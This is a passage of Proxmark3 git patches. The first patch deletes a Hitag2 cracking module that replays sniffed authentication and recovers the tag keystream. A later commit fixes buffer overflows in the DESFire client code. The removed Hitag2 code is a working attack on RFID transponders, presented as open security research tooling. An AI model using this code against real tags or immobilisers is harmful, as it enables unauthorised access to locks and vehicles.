(hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40)) { - // test if it was valid - if (strcmp(responsestr, ERROR_RESPONSE) != 0) { - return true; - } - } else { -#ifdef RFIDLER_DEBUG - UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); -#endif - } - - return false; - -} - -// hitag2crack_xor XORs the source with the pad to produce the target. -// source, target and pad are binarrays of length len. -void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, unsigned int len) { - - for (int i = 0; i < len; i++) { - target[i] = source[i] ^ pad[i]; - } -} - -// hitag2crack_read_page uses the supplied key stream and nrar pair to read the -// given page, returning the response as a hexstring. -// responsestr is the returned hexstring; -// pagenum is the page number to read; -// nrar is the 64 bit binarray of the nR aR pair; -// keybits is the binarray of the key stream. -bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) { - uint8_t cmd[10]; - uint8_t e_cmd[10]; - uint8_t e_responsestr[9]; - - if (pagenum > 7) { - UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n"); - return false; - } - - // create cmd - binstringtobinarray(cmd, READP0CMD); - if (pagenum & 0x1) { - cmd[9] = !cmd[9]; - cmd[4] = !cmd[4]; - } - if (pagenum & 0x2) { - cmd[8] = !cmd[8]; - cmd[3] = !cmd[3]; - } - if (pagenum & 0x4) { - cmd[7] = !cmd[7]; - cmd[2] = !cmd[2]; - } - - // encrypt command - hitag2crack_xor(e_cmd, cmd, keybits, 10); - - // send encrypted command - if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10)) { - // check if it is valid - if (strcmp(e_responsestr, ERROR_RESPONSE) != 0) { - uint8_t e_response[32]; - uint8_t response[32]; - // convert to binarray - hextobinarray(e_response, e_responsestr); - // decrypt response - hitag2crack_xor(response, e_response, keybits + 10, 32); - // convert to hexstring - binarray_2_hex(responsestr, response, 32); - return true; - } else { - UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n"); - } - } else { - UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n"); - } - - return false; -} - -// hitag2crack_send_e_cmd replays the auth and sends the given encrypted -// command. -// responsestr is the hexstring of the response to the command; -// nrar is the 64 bit binarray of the nR aR pair; -// cmd is the binarray of the encrypted command to send; -// len is the length of the encrypted command. -bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) { -// uint8_t tmp[37]; - uint8_t uid[9]; - uint8_t e_page3str[9]; - - // get the UID - if (!hitag2_get_uid(uid)) { - UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n"); - return false; - } - - // START_AUTH kills active crypto session - CryptoActive = false; - - // get the UID again - if (!hitag2_get_uid(uid)) { - UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n"); - return false; - } - - // send nrar and receive (useless) encrypted page 3 value - if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) { - UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n"); - return false; - } - - // send encrypted command - if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false)) { -#ifdef RFIDLER_DEBUG - UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n"); -#endif - return false; - } - - return true; -} - -// hitag2crack_tx_rx transmits a message and receives a response. -// responsestr is the hexstring of the response; -// msg is the binarray of the message to send; -// state is the RWD state; -// reset indicates whether to reset RWD state after. -bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) { - uint8_t tmp[37]; - int ret = 0; - - // START_AUTH kills active crypto session - CryptoActive = false; - - if (!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX)) { - UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n"); - return false; - } - - // skip 1/2 bit to synchronise manchester - HW_Skip_Bits = 1; - ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY); - - // check if response was a valid length (5 sync bits + 32 bits response) - if (ret == 37) { - // check sync bits - if (memcmp(tmp, Hitag2Sync, 5) != 0) { - UserMessage("hitag2crack_tx_rx: no sync\r\n"); - return false; - } - - // convert response to hexstring - binarray_2_hex(responsestr, tmp + 5, 32); - return true; - } else { -#ifdef RFIDLER_DEBUG - UserMessage("hitag2crack_tx_rx: wrong rx len\r\n"); -#endif - return false; - } - return false; -} - - -bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) { - uint64_t sharedkey; - uint32_t serialnum; - uint32_t initvector; - uint8_t *spaceptr; - uint8_t *dataptr; - - // extract vals from input - dataptr = input; - spaceptr = strchr(dataptr, ' '); - if (!spaceptr) { - UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n"); - return false; - } - - *spaceptr = 0x00; - - if (strlen(dataptr) != 12) { - UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n"); - return false; - } - - sharedkey = rev64(hexreversetoulonglong(dataptr)); - - dataptr = spaceptr + 1; - spaceptr = strchr(dataptr, ' '); - if (!spaceptr) { - UserMessage("/r/nno UID\r\n"); - return false; - } - - *spaceptr = 0x00; - if (strlen(dataptr) != 8) { - UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n"); - return false; - } - - serialnum = rev32(hexreversetoulong(dataptr)); - - dataptr = spaceptr + 1; - - if (strlen(dataptr) != 8) { - UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n"); - return false; - } - - initvector = rev32(hexreversetoulong(dataptr)); - - // start up crypto engine - hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector); - - strcpy(response, "Success\r\n"); - - return true; -} - -bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) { - uint8_t bin[32]; - uint8_t binhex[9]; - uint8_t binstr[33]; - uint32_t binulong; - - if (strlen(hex) != 8) { - UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n"); - return false; - } - - binulong = hextoulong(hex); - - ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32); - binarray_2_binstr(binstr, bin, 32); - binarray_2_hex(binhex, bin, 32); -// UserMessage("ar = %s\r\n", binstr); -// UserMessage("arhex = %s\r\n", binhex); - - strcpy(response, binhex); - return true; -} - -bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) { - uint8_t bin[32]; - uint8_t e_bin[32]; - uint8_t binstr[33]; - uint32_t binulong; - int len; - - len = strlen(e_binstr); - if (len > 32) { - UserMessage("\r\nbinary string must be <= 32 bits\r\n"); - return false; - } - - binstringtobinarray(e_bin, e_binstr); - binulong = binarraytoulong(e_bin, len); - - ulongtobinarray(bin, hitag2_crypt(binulong, len), len); - binarray_2_binstr(binstr, bin, len); - strcpy(response, binstr); - return true; -} - -bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) { - // XOR pad so encrypt == decrypt :) - return hitag2crack_decrypt_hex(response, hex); -} - -bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) { - return hitag2crack_decrypt_bin(response, e_binstr); -} - -// hitag2_keystream uses the first crack algorithm described in the paper, -// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits -// of keystream. -// response is a multi-line text response containing the hex of the keystream; -// nrarhex is a string containing hex representations of the 32 bit nR and aR -// values (separated by a space) snooped using SNIFF-PWM. -bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) { - uint8_t uidhex[9]; - uint8_t uid[32]; - uint8_t nrar[64]; - uint8_t e_firstcmd[10]; -// uint8_t e_page0cmd[10]; -// uint8_t keybits[2080]; - uint8_t *keybits = DataBuff; - uint8_t keybitshex[67]; - int kslen; - int ksoffset; -// uint8_t pagehex[9]; -// uint8_t temp[20]; - int i; - uint8_t *spaceptr = NULL; - - /* - keybits = calloc(2080, sizeof(uint8_t)); - if (!keybits) { - UserMessage("cannot malloc keybits\r\n"); - return false; - } - */ - - // get uid as hexstring - if (!hitag2_get_uid(uidhex)) { - UserMessage("Cannot get UID\r\n"); - return false; - } - - // convert uid hexstring to binarray - hextobinarray(uid, uidhex); - - // convert nR and aR hexstrings to binarray - spaceptr = strchr(nrarhex, ' '); - if (!spaceptr) { - UserMessage("Please supply a valid nR aR pair\r\n"); - return false; - } - *spaceptr = 0x00; - - if (hextobinarray(nrar, nrarhex) != 32) { - UserMessage("nR is not 32 bits long\r\n"); - return false; - } - - if (hextobinarray(nrar + 32, spaceptr + 1) != 32) { - UserMessage("aR is not 32 bits long\r\n"); - return false; - } - - // find a valid encrypted command - if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) { - UserMessage("Cannot find a valid encrypted command\r\n"); - return false; - } - - // find the 'read page 0' command and recover key stream - if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) { - UserMessage("Cannot find encrypted 'read page0' command\r\n"); - return false; - } - - // using the 40 bits of keystream in keybits, sending commands with ever - // increasing lengths to acquire 2048 bits of key stream. - kslen = 40; - - while (kslen < 2048) { - ksoffset = 0; - if (!hitag2crack_send_auth(nrar)) { - UserMessage("hitag2crack_send_auth failed\r\n"); - return false; - } - // while we have at least 52 bits of keystream, consume it with - // extended read page 0 commands. 52 = 10 (min command len) + - // 32 (response) + 10 (min command len we'll send) - while ((kslen - ksoffset) >= 52) { - // consume the keystream, updating ksoffset as we go - if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar)) { - UserMessage("hitag2crack_consume_keystream failed\r\n"); - return false; - } - } - // send an extended command to retrieve more keystream, updating kslen - // as we go - if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid)) { - UserMessage("hitag2crack_extend_keystream failed\r\n"); - return false; - } - UserMessage("Recovered %d bits of keystream\r\n", kslen); - - } - - for (i = 0; i < 2048; i += 256) { - binarray_2_hex(keybitshex, keybits + i, 256); - UserMessage("%s\r\n", keybitshex); - } - - response[0] = 0x00; - - return true; -} - -// hitag2crack_send_auth replays the auth and returns. -// nrar is the 64 bit binarray of the nR aR pair; -bool hitag2crack_send_auth(uint8_t *nrar) { - uint8_t uid[9]; - uint8_t e_page3str[9]; - - // get the UID - if (!hitag2_get_uid(uid)) { - UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n"); - return false; - } - - // START_AUTH kills active crypto session - CryptoActive = false; - - // get the UID again - if (!hitag2_get_uid(uid)) { - UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n"); - return false; - } - - // send nrar and receive (useless) encrypted page 3 value - if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) { - UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n"); - return false; - } - return true; -} - -// hitag2crack_consume_keystream sends an extended command (up to 510 bits in -// length) to consume keystream. -// keybits is the binarray of keystream bits; -// kslen is the length of keystream; -// ksoffset is a pointer to the current keystream offset (updated by this fn); -// nrar is the 64 bit binarray of the nR aR pair. -bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) { - int conlen; - int numcmds; - int i; - uint8_t ext_cmd[510]; - uint8_t e_ext_cmd[510]; - uint8_t responsestr[9]; - - // calculate the length of keybits to consume with the extended command. - // 42 = 32 bit response + 10 bit command reserved for next command. conlen - // cannot be longer than 510 bits to fit into the small RWD buffer. - conlen = kslen - *ksoffset - 42; - if (conlen < 10) { - UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n"); - return false; - } - - // sanitise conlen - if (conlen > 510) { - conlen = 510; - } - - // calculate how many repeated commands to send in this extended command. - numcmds = conlen / 10; - - // build extended command - for (i = 0; i < numcmds; i++) { - binstringtobinarray(ext_cmd + (i * 10), READP0CMD); - } - - // xor extended cmd with keybits - hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + *ksoffset, numcmds * 10); - - // send encrypted command - if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) { - UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n"); - return false; - } - - // test response - if (strcmp(responsestr, ERROR_RESPONSE) == 0) { - UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n"); - return false; - } - - // don't bother decrypting the response - we already know the keybits - - // update ksoffset with command length and response - *ksoffset += (numcmds * 10) + 32; - - return true; -} - -// hitag2crack_extend_keystream sends an extended command to retrieve more keybits. -// keybits is the binarray of the keystream bits; -// kslen is a pointer to the current keybits length; -// ksoffset is the offset into the keybits array; -// nrar is the 64 bit binarray of the nR aR pair; -// uid is the 32 bit binarray of the UID. -bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) { - int cmdlen; - int numcmds; - uint8_t ext_cmd[510]; - uint8_t e_ext_cmd[510]; - uint8_t responsestr[9]; - uint8_t e_response[32]; - int i; - - // calc number of command iterations to send - cmdlen = *kslen - ksoffset; - if (cmdlen < 10) { - UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n"); - return false; - } - - numcmds = cmdlen / 10; - - // build extended command - for (i = 0; i < numcmds; i++) { - binstringtobinarray(ext_cmd + (i * 10), READP0CMD); - } - - // xor extended cmd with keybits - hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + ksoffset, numcmds * 10); - - // send extended encrypted cmd - if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) { - UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n"); - return false; - } - - // test response - if (strcmp(responsestr, ERROR_RESPONSE) == 0) { - UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n"); - return false; - } - - // convert response to binarray - hextobinarray(e_response, responsestr); - - // recover keystream from encrypted response - hitag2crack_xor(keybits + ksoffset + (numcmds * 10), e_response, uid, 32); - - // update kslen - *kslen = ksoffset + (numcmds * 10) + 32; - - return true; - -} - -bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive) { - uint8_t tmp[9]; - - response[0] = '\0'; - // auth to tag - if (hitag2_crypto_auth(tmp, key)) { - // read tag, one page at a time - for (int i = 0; i <= 7; ++i) { - if (!read_tag(tmp, i, i)) { - // if read fails, it could be because of auth, - // so try to reauth - if (!hitag2_crypto_auth(tmp, key)) { - // if we can't reauth, it's a real failure - return false; - } - // temp failure (probably due to page protections) - strcpy(tmp, "XXXXXXXX"); - } - // page contents are in tmp - strcat(response, tmp); - } - - if (interactive) { - tmp[8] = '\0'; - for (i = 0; i <= 7 ; ++i) { - UserMessageNum("%d: ", i); - memcpy(tmp, response + (i * 8), 8); - UserMessage("%s\r\n", tmp); - } - UserMessage("%s", "\r\n"); - } else { - hitag2_nvm_store_tag(response); - } - return true; - } else { - return false; - } -} diff --git a/armsrc/hitag2crack.h b/armsrc/hitag2crack.h deleted file mode 100644 index 9a123ec30..000000000 --- a/armsrc/hitag2crack.h +++ /dev/null @@ -1,42 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/factoritbv/hitag2hell -// and https://github.com/AdamLaurie/RFIDler/blob/master/firmware/Pic32/RFIDler.X/src/hitag2crack.c -// Copyright (C) Kevin Sheldrake , Aug 2018 -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// Definitions hitag2 attack functions -//----------------------------------------------------------------------------- - -bool hitag2_crack(uint8_t *response, uint8_t *nrarhex); -bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]); -bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]); -bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid); -void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, unsigned int len); -bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits); -bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len); -bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset); - -bool hitag2crack_rng_init(uint8_t *response, uint8_t *input); -bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex); -bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr); -bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex); -bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr); - -bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex); -bool hitag2crack_send_auth(uint8_t *nrar); -bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar); -bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid); - -bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive); From 365454bb3c9d2c485292dcaed8db46ff3425d5a8 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:17:58 +0200 Subject: [PATCH 03/16] fixing buffer overflow when reading large files --- client/src/mifare/desfirecore.c | 60 +++++++---- client/src/mifare/desfirecrypto.c | 61 +++++++---- client/src/mifare/desfiresecurechan.c | 62 ++++++++---- client/src/mifare/desfiretest.c | 139 +++++--------------------- 4 files changed, 145 insertions(+), 177 deletions(-) diff --git a/client/src/mifare/desfirecore.c b/client/src/mifare/desfirecore.c index f04ab2fb9..66511dc25 100644 --- a/client/src/mifare/desfirecore.c +++ b/client/src/mifare/desfirecore.c @@ -674,11 +674,11 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, } if (respcode) { - *respcode = 0xff; + *respcode = 0xFF; } uint16_t sw = 0; - uint8_t *buf = calloc(DESFIRE_BUFFER_SIZE, 1); + uint8_t *buf = calloc(DESFIRE_BUFFER_SIZE, 1); if (buf == NULL) { return PM3_EMALLOC; } @@ -698,10 +698,11 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, // tx chaining size_t sentdatalen = 0; while (datalen >= sentdatalen) { - if (datalen - sentdatalen > DESFIRE_TX_FRAME_MAX_LEN) + if (datalen - sentdatalen > DESFIRE_TX_FRAME_MAX_LEN) { apdu.Lc = DESFIRE_TX_FRAME_MAX_LEN; - else + } else { apdu.Lc = datalen - sentdatalen; + } apdu.data = &data[sentdatalen]; @@ -725,8 +726,8 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, } } - if (respcode != NULL && ((sw & 0xff00) == 0x9100)) { - *respcode = sw & 0xff; + if (respcode != NULL && ((sw & 0xFF00) == 0x9100)) { + *respcode = sw & 0xFF; } if (resp) { @@ -741,7 +742,7 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, pos += buflen; if (enable_chaining == false) { if (sw == DESFIRE_GET_ISO_STATUS(MFDES_S_OPERATION_OK) || - sw == DESFIRE_GET_ISO_STATUS(MFDES_ADDITIONAL_FRAME)) { + sw == DESFIRE_GET_ISO_STATUS(MFDES_ADDITIONAL_FRAME)) { if (resplen) { *resplen = pos; @@ -759,6 +760,8 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, apdu.P2 = 0; apdu.data = NULL; + buflen = 0; + res = DESFIRESendApdu(false, apdu, buf, DESFIRE_BUFFER_SIZE, &buflen, &sw); if (res != PM3_SUCCESS) { PrintAndLogEx(DEBUG, "error DESFIRESendApdu %s", DesfireGetErrorString(res, &sw)); @@ -766,8 +769,8 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, return res; } - if (respcode != NULL && ((sw & 0xff00) == 0x9100)) { - *respcode = sw & 0xff; + if (respcode != NULL && ((sw & 0xFF00) == 0x9100)) { + *respcode = sw & 0xFF; } if (resp != NULL) { @@ -776,9 +779,10 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, memcpy(&resp[i * splitbysize + 1], buf, buflen); i += 1; } else { - memcpy(&resp[pos], buf, buflen); + memcpy(resp + (pos), buf, buflen); } } + pos += buflen; if (sw != DESFIRE_GET_ISO_STATUS(MFDES_ADDITIONAL_FRAME)) { @@ -786,6 +790,7 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, } } + if (resplen) { *resplen = (splitbysize) ? i : pos; } @@ -854,7 +859,7 @@ int DesfireExchangeEx(bool activate_field, DesfireContext_t *ctx, uint8_t cmd, u DesfirePrintContext(ctx); } - uint8_t *databuf = calloc(DESFIRE_BUFFER_SIZE, 1); + uint8_t *databuf = calloc(DESFIRE_BUFFER_SIZE, 1); if (databuf == NULL) { return PM3_EMALLOC; } @@ -866,13 +871,14 @@ int DesfireExchangeEx(bool activate_field, DesfireContext_t *ctx, uint8_t cmd, u case DCCNativeISO: DesfireSecureChannelEncode(ctx, cmd, data, datalen, databuf, &databuflen); - if (ctx->cmdSet == DCCNative) + if (ctx->cmdSet == DCCNative) { res = DesfireExchangeNative(activate_field, ctx, cmd, databuf, databuflen, respcode, databuf, &databuflen, enable_chaining, splitbysize); - else + } else { res = DesfireExchangeISONative(activate_field, ctx, cmd, databuf, databuflen, respcode, databuf, &databuflen, enable_chaining, splitbysize); + } if (splitbysize) { - uint8_t sdata[250 * 5] = {0}; + uint8_t sdata[DESFIRE_BUFFER_SIZE] = {0}; size_t sdatalen = 0; DesfireJoinBlockToBytes(databuf, databuflen, splitbysize, sdata, &sdatalen); @@ -1924,13 +1930,16 @@ void DesfirePrintAppList(DesfireContext_t *dctx, PICCInfo_t *PICCInfo, AppListS } static int DesfireCommandEx(DesfireContext_t *dctx, uint8_t cmd, uint8_t *data, size_t datalen, uint8_t *resp, size_t *resplen, int checklength, size_t splitbysize) { - if (resplen) + if (resplen) { *resplen = 0; + } + + uint8_t respcode = 0xFF; - uint8_t respcode = 0xff; uint8_t *xresp = calloc(DESFIRE_BUFFER_SIZE, 1); - if (xresp == NULL) + if (xresp == NULL) { return PM3_EMALLOC; + } size_t xresplen = 0; int res = DesfireExchangeEx(false, dctx, cmd, data, datalen, &respcode, xresp, &xresplen, true, splitbysize); @@ -1938,19 +1947,24 @@ static int DesfireCommandEx(DesfireContext_t *dctx, uint8_t cmd, uint8_t *data, free(xresp); return res; } + if (respcode != MFDES_S_OPERATION_OK) { free(xresp); return PM3_EAPDU_FAIL; } + if (checklength >= 0 && xresplen != checklength) { free(xresp); return PM3_EAPDU_FAIL; } - if (resplen) + if (resplen) { *resplen = xresplen; - if (resp) + } + + if (resp) { memcpy(resp, xresp, (splitbysize == 0) ? xresplen : xresplen * splitbysize); + } free(xresp); return PM3_SUCCESS; @@ -1996,13 +2010,16 @@ int DesfireReadSignature(DesfireContext_t *dctx, uint8_t sid, uint8_t *resp, siz uint8_t respcode = 0xff; int res = DesfireExchange(dctx, MFDES_READSIG, &sid, 1, &respcode, xresp, &xresplen); - if (res != PM3_SUCCESS) + if (res != PM3_SUCCESS) { return res; + } - if (respcode != 0x90) + if (respcode != 0x90) { return PM3_EAPDU_FAIL; + } memcpy(resp, xresp, xresplen); + *resplen = xresplen; return PM3_SUCCESS; @@ -2172,7 +2189,6 @@ int DesfireReadFile(DesfireContext_t *dctx, uint8_t fnum, uint32_t offset, uint3 data[0] = fnum; Uint3byteToMemLe(&data[1], offset); Uint3byteToMemLe(&data[4], len); - return DesfireCommand(dctx, (dctx->isoChaining) ? MFDES_READ_DATA2 : MFDES_READ_DATA, data, 7, resp, resplen, -1); } diff --git a/client/src/mifare/desfirecrypto.c b/client/src/mifare/desfirecrypto.c index 750723dab..6263c2321 100644 --- a/client/src/mifare/desfirecrypto.c +++ b/client/src/mifare/desfirecrypto.c @@ -26,9 +26,10 @@ #include "des.h" #include #include "crc.h" -#include "crc16.h" // crc16 ccitt +#include "crc16.h" // crc16 ccitt #include "crc32.h" #include "commonutil.h" +#include "desfirecore.h" // DESFIRE_BUFFER_SIZE void DesfireClearContext(DesfireContext_t *ctx) { ctx->keyNum = 0; @@ -148,22 +149,29 @@ size_t DesfireSearchCRCPos(uint8_t *data, size_t datalen, uint8_t respcode, uint return 0; } - uint8_t crcdata[1024] = {0}; + uint8_t crcdata[DESFIRE_BUFFER_SIZE] = {0}; size_t crcposfound = 0; // crc may be 00..00 and at the end of file may be padding 0x80. so we search from last zero to crclen + 2 (one for crc=0 and one for padding 0x80) for (int i = 0; i < crclen + 2; i++) { - if (crcpos - i == 0) + + if (crcpos - i == 0) { break; - if (crcpos - i + crclen > datalen) + } + + if (crcpos - i + crclen > datalen) { continue; + } memcpy(crcdata, data, crcpos - i); crcdata[crcpos - i] = respcode; + bool res; - if (crclen == 4) + if (crclen == 4) { res = desfire_crc32_check(crcdata, crcpos - i + 1, &data[crcpos - i]); - else + } else { res = iso14443a_crc_check(data, crcpos - i, &data[crcpos - i]); + } + if (res) { crcposfound = crcpos - i; } @@ -252,7 +260,8 @@ static void DesfireCryptoEncDecSingleBlock(uint8_t *key, DesfireCryptoAlgorithm } void DesfireCryptoEncDecEx(DesfireContext_t *ctx, DesfireCryptoOpKeyType key_type, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, bool dir_to_send, bool encode, uint8_t *iv) { - uint8_t data[1024] = {0}; + + uint8_t data[DESFIRE_BUFFER_SIZE] = {0}; uint8_t xiv[DESFIRE_MAX_CRYPTO_BLOCK_SIZE] = {0}; if (ctx->secureChannel == DACd40) { @@ -287,15 +296,17 @@ void DesfireCryptoEncDecEx(DesfireContext_t *ctx, DesfireCryptoOpKeyType key_typ else memcpy(iv, xiv, block_size); - if (dstdata) + if (dstdata) { memcpy(dstdata, data, srcdatalen); + } } void DesfireCryptoEncDec(DesfireContext_t *ctx, DesfireCryptoOpKeyType key_type, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, bool encode) { bool dir_to_send = encode; bool xencode = encode; - if (ctx->secureChannel == DACd40) + if (ctx->secureChannel == DACd40) { xencode = false; + } DesfireCryptoEncDecEx(ctx, key_type, srcdata, srcdatalen, dstdata, dir_to_send, xencode, NULL); } @@ -333,8 +344,9 @@ void DesfireCMACGenerateSubkeys(DesfireContext_t *ctx, DesfireCryptoOpKeyType ke void DesfireCryptoCMACEx(DesfireContext_t *ctx, DesfireCryptoOpKeyType key_type, uint8_t *data, size_t len, size_t minlen, uint8_t *cmac) { int kbs = desfire_get_key_block_length(ctx->keyType); - if (kbs == 0) + if (kbs == 0) { return; + } uint8_t buffer[padded_data_length(MAX(minlen, len) + 1, kbs)]; memset(buffer, 0, sizeof(buffer)); @@ -357,8 +369,9 @@ void DesfireCryptoCMACEx(DesfireContext_t *ctx, DesfireCryptoOpKeyType key_type, DesfireCryptoEncDec(ctx, key_type, buffer, len, NULL, true); - if (cmac != NULL) + if (cmac != NULL) { memcpy(cmac, ctx->IV, kbs); + } } void DesfireCryptoCMAC(DesfireContext_t *ctx, uint8_t *data, size_t len, uint8_t *cmac) { @@ -371,16 +384,18 @@ void MifareKdfAn10922(DesfireContext_t *ctx, DesfireCryptoOpKeyType key_type, co return; int kbs = desfire_get_key_block_length(ctx->keyType); // 8 or 16 - if (kbs == 0) + if (kbs == 0) { return; + } uint8_t cmac[DESFIRE_MAX_CRYPTO_BLOCK_SIZE * 3] = {0}; uint8_t buffer[DESFIRE_MAX_CRYPTO_BLOCK_SIZE * 3] = {0}; if (ctx->keyType == T_AES) { // AES uses 16 byte IV - if (kbs < CRYPTO_AES_BLOCK_SIZE) + if (kbs < CRYPTO_AES_BLOCK_SIZE) { kbs = CRYPTO_AES_BLOCK_SIZE; + } buffer[0] = 0x01; memcpy(&buffer[1], data, len); @@ -429,8 +444,9 @@ void DesfireDESKeySetVersion(uint8_t *key, DesfireCryptoAlgorithm keytype, uint8 return; // clear version - for (int n = 0; n < desfire_get_key_length(keytype); n++) + for (int n = 0; n < desfire_get_key_length(keytype); n++) { key[n] &= 0xFE; + } // set version for (int n = 0; n < 8; n++) { @@ -451,8 +467,9 @@ void DesfireDESKeySetVersion(uint8_t *key, DesfireCryptoAlgorithm keytype, uint8 uint8_t DesfireDESKeyGetVersion(const uint8_t *key) { uint8_t version = 0; - for (int n = 0; n < 8; n++) + for (int n = 0; n < 8; n++) { version |= ((key[n] & 1) << (7 - n)); + } return version; } @@ -644,14 +661,16 @@ void DesfireEV2FillIV(DesfireContext_t *ctx, bool ivforcommand, uint8_t *iv) { } int DesfireEV2CalcCMAC(DesfireContext_t *ctx, uint8_t cmd, uint8_t *data, size_t datalen, uint8_t *mac) { - uint8_t mdata[1050] = {0}; + uint8_t mdata[DESFIRE_BUFFER_SIZE] = {0}; size_t mdatalen = 0; mdata[0] = cmd; Uint2byteToMemLe(&mdata[1], ctx->cmdCntr); memcpy(&mdata[3], ctx->TI, 4); - if (data != NULL && datalen > 0) + if (data != NULL && datalen > 